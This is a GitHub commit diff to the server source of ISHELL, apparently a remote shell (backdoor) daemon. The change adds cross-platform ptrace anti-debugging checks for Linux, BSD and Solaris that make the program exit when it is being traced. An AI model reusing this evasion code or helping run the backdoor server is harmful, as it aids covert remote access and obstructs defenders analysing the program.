Skip to content

Commit

Permalink
Update ishd.c
Browse files Browse the repository at this point in the history
  • Loading branch information
mephistolist authored Oct 15, 2024
1 parent e1397c7 commit d2b20fc
Showing 1 changed file with 19 additions and 12 deletions.
31 changes: 19 additions & 12 deletions ISHELL-v0.3/ishd.c
Original file line number Diff line number Diff line change
@@ -1,17 +1,14 @@
/* ISHELL: server
* by: Peter Kieltyka (elux)
* http://peter.eluks.com / [email protected]
* Updates from 0.2 by Mephistolist */
#include "ishell.h"
#include <sys/ptrace.h>

/* global variables */
int ish_debug = 1;
int ish_debug = 1;

/* function prototypes */
void usage(char *);
void sig_handle(int);
int edaemon(void);
int ish_listen(int, struct sockaddr *, socklen_t);
void usage(char *);
void sig_handle(int);
int edaemon(void);
int ish_listen(int, struct sockaddr *, socklen_t);

void usage(char *program) {
fprintf(stderr,
Expand Down Expand Up @@ -102,9 +99,19 @@ int ish_listen(int sockfd, struct sockaddr *sin, socklen_t sinlen) {
int main(int argc, char *argv[]) {

// Attempt to use ptrace to prevent being traced
if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) < 0) {
puts("being traced");
exit(1);
#if defined(__linux__)
if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) < 0) {
#elif defined(__FreeBSD__) || defined(__BSD__)
if (ptrace(PT_TRACE_ME, 0, 0, 0) < 0) {
#elif defined(__sun) // Check for Solaris
if (ptrace(PT_TRACE_ME, 0, NULL, NULL) < 0) {
#else
#error "Unsupported OS"
#endif
if (errno == EPERM) {
puts("Not today Jesus!");
exit(1);
}
}

int opt, sockfd;
Expand Down

0 comments on commit d2b20fc

Please sign in to comment.